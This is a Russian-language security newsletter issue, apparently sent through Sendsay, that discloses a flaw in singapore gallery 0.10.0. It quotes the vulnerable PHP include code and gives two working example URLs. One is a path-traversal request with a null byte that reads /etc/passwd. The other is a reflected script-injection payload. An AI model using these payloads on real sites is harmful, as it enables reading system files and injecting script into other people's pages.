Отправляет email-рассылки с помощью сервиса Sendsay
  Все выпуски  

Компьютер для продвинутых пользоватлей Выпус по безопасности. Ошибка в singapore gallery.


Компьютер для продвинутых пользователей
В этом выпуске:
singapore gallery
ПО: singapore gallery
Версия: 0.10.0
Сайт: http://www.sgal.org/

Описание:
Уязвимый код:
16 . require_once "includes/singapore.class.php";
19 . $sg = new Singapore();
35 . include $sg->config->base_path.$sg->config->pathto_current_template."index.tpl.php";
?>
Использование:
http://localhost/singapore/index.php?template=./../../../../etc/passwd%00
http://localhost/singapore/index.php?template=<script>alert('Привет!');</script>
Не забудьте проголосовать за выпуск!
Рассылка создана и ведется при поддержке Информационной сети Пермского края.
Меня можно найти: ICQ - 273214003

e-mail - isdmi1::mail.ru

В избранное